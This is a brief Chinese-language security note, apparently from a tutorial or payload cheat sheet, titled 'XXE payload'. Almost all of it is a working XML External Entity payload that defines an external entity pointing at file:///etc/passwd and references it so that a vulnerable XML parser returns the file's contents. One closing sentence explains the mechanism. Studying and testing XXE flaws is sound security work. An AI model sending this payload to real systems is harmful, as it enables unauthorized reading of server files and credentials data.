XXE载荷

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM
  "file:///etc/passwd">]>
<foo>
  &xxe;
</foo>

此处xxe为外部实体，需要被引用从而得到文件内容